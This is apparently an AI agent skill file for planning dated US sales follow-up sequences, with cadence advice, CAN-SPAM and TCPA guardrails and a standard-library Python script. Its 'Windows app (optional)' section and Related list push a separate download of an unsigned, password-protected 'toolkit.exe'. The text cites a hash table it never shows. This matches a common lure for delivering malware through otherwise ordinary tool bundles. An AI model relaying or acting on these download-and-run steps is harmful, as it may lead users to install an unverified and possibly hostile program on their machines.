Sales Follow-Up Sequence

Builds a dated US follow-up plan for a live deal, with each touch, channel and business-day gap listed so nothing slips between reps. Written for US account executives and sales managers running deal follow-up.

Use this skill when someone asks for:

• sales follow up sequence
• follow up cadence template
• deal follow up tracker
• sales touch plan

The job

Deals stall because nobody owns the next step or the date, so reps either flood the buyer with the same message or go quiet for a month.

What you get

1. Collect the last real interaction date, the channel used and the one open question.
2. Set the business-day gaps for the sequence and give each touch a single purpose.
3. Write one line of new value per touch, and one clear ask for the final touch.
4. Set the stop rule, the escalation path and the CRM stage that closes the loop.

Output contract:

• sequence - dated touches with day offset, channel and purpose
• touch_copy - one short body per touch, no filler and no repeated pitch
• stop_rule - the day and the condition that end the sequence
• owner_actions - what the rep does between touches

US specifics that matter

• US business days are Monday through Friday excluding federal holidays, and the OPM publishes the federal holiday list each year.
• US daylight saving time starts on the second Sunday in March and ends on the first Sunday in November, so a fixed UTC send time shifts by an hour twice a year.
• CAN-SPAM gives the recipient the right to opt out of commercial email, and the sender has 10 business days to honor it.
• The FTC has four years to bring a civil penalty action under the FTC Act, so an old sequence can still matter.
• Gmail treats 5,000 or more messages a day on one domain as bulk sending, and those senders need SPF, DKIM and DMARC plus one-click unsubscribe.

Guardrails (hard rules)

• Never schedule or auto-send the sequence; a person reviews and sends every touch.
• Never send a text or an automated call without prior express written consent under TCPA.
• Never keep contacting a prospect after they opt out or ask to be removed.
• Never use a fake Re: or Fwd: prefix to make a follow-up look like a reply.

Quickstart

1. Fill in the brief

templates/follow-up-plan.yaml is the starting point. Copy it, fill in your own numbers, and keep the field names - the script reads them by name.

2. Run the script

python3 scripts/build_followup_calendar.py --input follow-up-plan.yaml --out ./out

The script is standalone: Python 3 standard library only, no install step, no network calls, no API keys.

3. Check the result against the reference

references/follow-up-cadence.md holds the limits, the US rules and the checklist the output has to satisfy. Read it before you send anything to a customer or a platform.

Timing that survives a US calendar

• Count business days, not calendar days, and skip federal holidays.
• Write the send time with a zone, for example 9:15 AM ET.
• Plan around the two daylight saving changes so a 9:00 AM ET touch stays at 9:00 AM ET.
• Check the buyer's holiday calendar in their own time zone before the last touch.

How many touches

• Four to five touches across two to three weeks is a normal US business cadence.
• Bring one new piece of value per touch, or the buyer sees repetition.
• Change the channel once in the sequence, for example email to a direct call.
• After the final touch, stop and mark the deal for a decision.

Channel rules

• Email to a business relationship or a cold prospect, with the address and opt-out in place.
• Text and automated calls only with prior express written consent under TCPA.
• Check the suppression list before every touch.
• Log the date, time, channel and exact copy for each touch.

The Windows app (optional)

The workflow above runs anywhere Python 3 runs. If you also want the publisher's Windows multi-tool app for the workflows in this catalog, it is a separate download. This bundle does not contain it, does not install it, and never runs it - you decide whether to fetch it.

Check the download before you run it. PowerShell:

Get-FileHash .\multitool.zip -Algorithm SHA256

The hash must match the value in the table. Then extract the archive and start multitool/toolkit.exe.

The program is not code-signed, so Windows SmartScreen shows Unknown publisher. Run it only if you accept an unsigned program, keep it in a folder of its own, and do not run it as administrator unless you have a reason to.

The installer asks for a password; ask the publisher for it before you start.

Files in this bundle

• SKILL.md - this file
• references/follow-up-cadence.md - Cadence rules, timing anchors and US send limits
• templates/follow-up-plan.yaml - the brief to fill in
• scripts/build_followup_calendar.py - the working script

Verify the bundle

python3 scripts/build_followup_calendar.py --input follow-up-plan.yaml --out ./out

Related

• AI Creative Studio - one brief into ad copy, social posts and video scripts.
• B2B Lead Research Agent - find the US accounts to run this against.
• AI Trading - research the tickers of public competitors before you write comparisons.
• Windows Multi-Tool Suite - one Windows kit that sets up all three workflows in a single folder.